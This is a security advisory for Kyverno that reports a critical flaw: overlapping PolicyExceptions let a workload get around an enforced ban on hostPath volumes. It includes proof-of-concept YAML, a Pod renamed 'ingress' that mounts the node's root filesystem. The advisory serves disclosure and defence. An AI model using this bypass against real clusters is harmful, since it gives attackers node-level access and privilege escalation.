PT-2026-6423 · Go · Github.Com/Kyverno/Kyverno

Published 2026-01-06 · Updated 2026-01-06

OSV

CVSS v3.1

9.0

Critical

Base vector

AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary

If a cluster has a Kyverno policy in enforce mode and there are two exceptions, this allows the policy to be bypassed, even if the first exception is more restrictive than the second.

Details

The following policy was applied:

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
 name: disallow-host-path
 annotations:
  policies.kyverno.io/title: Disallow hostPath
  policies.kyverno.io/category: Pod Security Standards (Baseline)
  policies.kyverno.io/severity: medium
  policies.kyverno.io/subject: Pod,Volume
  kyverno.io/kyverno-version: 1.6.0
  kyverno.io/kubernetes-version: "1.22-1.23"
  policies.kyverno.io/description: >-
   HostPath volumes let Pods use host directories and volumes in containers.
   Using host resources can be used to access shared data or escalate privileges
   and should not be allowed. This policy ensures no hostPath volumes are in use.
spec:
 validationFailureAction: Enforce
 background: true
 rules:
  - name: host-path
   match:
    any:
    - resources:
      kinds:
       - Pod
   validate:
    message: >-
     HostPath volumes are forbidden. The field spec.volumes[*].hostPath must be unset.
    pattern:
     spec:
      =(volumes):
       - X(hostPath): "null"

And two exceptions:

apiVersion: kyverno.io/v2beta1
kind: PolicyException
metadata:
 name: disallow-host-path-exception
 namespace: kyverno
spec:
 exceptions:
 - policyName: disallow-host-path
  ruleNames:
  - host-path
 match:
  any:
  - resources:
    kinds:
    - DaemonSet
    - Deployment
    - Job
    - StatefulSet
    - ReplicaSet
    - ReplicationController
    - Pod
    - CronJob
    namespaces:
    - luntry
    - tstkyverno
    - examplens

apiVersion: kyverno.io/v2beta1
kind: PolicyException
metadata:
 name: disallow-host-path-exception-names
 namespace: kyverno
spec:
 exceptions:
 - policyName: disallow-host-path
  ruleNames:
  - host-path
 match:
  any:
  - resources:
    kinds:
    - DaemonSet
    - Deployment
    - Job
    - StatefulSet
    - ReplicaSet
    - ReplicationController
    - Pod
    - CronJob
    names:
    - '*haproxy*'
    - '*ingress*'

Trying to apply such a yaml will result in the expected ban:

apiVersion: v1
kind: Pod
metadata:
 name: mtkpi
 labels:
  app: pentest
spec:
 containers:
 - name: mtkpi
  image: ubuntu
  volumeMounts:
  - mountPath: /host
   name: noderoot
  command: [ "/bin/sh", "-c", "--" ]
  args: [ "while true; do sleep 30; done;" ] 
 volumes:
 - name: noderoot
  hostPath:
   path: /

However, if the load name is changed to satisfy the second exception, the restrictions can be bypassed:

apiVersion: v1
kind: Pod
metadata:
 name: ingress
 labels:
  app: pentest
spec:
 containers:
 - name: mtkpi
  image: ubuntu
  volumeMounts:
  - mountPath: /host
   name: noderoot
  command: [ "/bin/sh", "-c", "--" ]
  args: [ "while true; do sleep 30; done;" ] 
 volumes:
 - name: noderoot
  hostPath:
   path: /

It turns out that the second exception is higher in priority for Kyverno and allows for bypass of the restrictions.

Impact

The security restrictions can be bypassed.

Fix

Improper Access Control

Weakness Enumeration

CWE-284

Related Identifiers

GHSA-GG4X-FGG2-H9W9

Affected Products

Github.Com/Kyverno/Kyverno

References · 3

• https://osv.dev/vulnerability/GHSA-gg4x-fgg2-h9w9 · Vendor Advisory
• https://github.com/kyverno/kyverno · Note
• https://github.com/kyverno/kyverno/security/advisories/GHSA-gg4x-fgg2-h9w9 · Note